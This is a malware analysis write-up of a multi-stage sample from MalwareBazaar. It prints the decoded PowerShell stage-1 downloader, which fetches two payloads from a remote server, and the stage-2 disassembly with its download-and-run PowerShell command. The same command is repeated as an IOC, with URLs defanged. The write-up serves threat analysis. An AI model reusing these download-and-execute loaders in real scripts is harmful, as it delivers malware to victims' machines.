File Analysis - 2025:05:12

Network indicators on this page are defanged (e.g. example[.]com) so they can't be clicked by accident.

Samples can be downloaded here

Stage-1 is an obfuscated powershell script we pulled from MalwareBazaar. The entire file is large, but can be downloaded here. Note that this is malicious, although the domains are likely dead, still use caution when running on your machine. We decoded this by working backwards; starting from the bottom of the script to identify interesting results like "webClient.DownloadFile", and stitching the variables together. With powershell obfuscation, most of the code is often junk, and does nothing besides thwart automatic analysis and annoy the reverse engineer.

Decoded powershell script

$maliciousServerA="hxxps://u1[.]dynamicrename[.]run/au1";
    $maliciousServerB="hxxps://u1[.]dynamicrename[.]run/au1.a";
    $ErrorActionPreference='Stop';
      try{
        $maliciousGuid=Join-Path $env:TEMP ([guid]::NewGuid().ToString());
        New-Item $maliciousGuid -ItemType Directory -Force|Out-Null;
        $payload_A=Join-Path $maliciousGuid ([guid]::NewGuid().ToString()+'.com');
        $payload_B=Join-Path $maliciousGuid ([guid]::NewGuid().ToString()+'.a3x');
        $webClient=New-Object System.Net.WebClient;
        $webClient.DownloadFile($maliciousServerA,$payload_A);
        $webClient.DownloadFile($maliciousServerB,$payload_B);

        if (-not(Test-Path $payload_A) -or -not (Test-Path $payload_B))
        {
          exit 1
        };
        #$maliciousProcess=Start-Process $payload_A -ArgumentList $payload_B -NoNewWindow -Wait -PassThru;
        #exit $maliciousProcess.ExitCode
      }
    catch{exit 1}

Stage-2

Stage-2 is a UPX-packed binary that has had the checksum misoncifgured to thwart automatic unpacking. To resolve this, we simple find manually unpack the binary using a debugger[1]. This binary is simple, and the only code worth noting starts at 0x402d50. This code uses the Microsoft C Runtime system export to download and execute Stage-3:

00402d50  SUB     RSP, 0x28
    00402d54  CALL    FUN_00401730                                          undefined FUN_00401730(void)
    00402d59  LEA     RCX, [s_powershell_-NoProfile_-Execution_00404030]    = "powershell -NoProfile -ExecutionPolicy unrestricted
                                                                            -Command (new-object
                                                                            System.Net.WebClient).Downloadfile('hxxps://raw[.]githack[.]com/i
                                                                            87924hgasdhg/hgytiryty/master/busybox', 'that3.exe')"
    00402d60  CALL    MSVCRT.DLL::system                                    int system(char * _Command)
    00402d65  LEA     RCX, [s_that3.exe_004040eb]                           = "that3.exe"
    00402d6c  ADD     RSP, 0x28
    00402d70  JMP     MSVCRT.DLL::system                                    int system(char * _Command)

Stage-3

We were unable to resolve Stage-3, as the content is no longer available on the URL.

IOCs

Strings

powershell -NoProfile -ExecutionPolicy unrestricted -Command (new-object System.Net.WebClient).Downloadfile('hxxps://raw[.]githack[.]com/i87924hgasdhg/hgytiryty/master/busybox', 'that3.exe') "powershell -NoProfile -ExecutionPolicy unrestricted -Command (new-object System.Net.WebClient).Downloadfile('hxxps://raw[.]githack[.]com/i87924hgasdhg/hgytiryty/master/busybox', 'that3.exe')"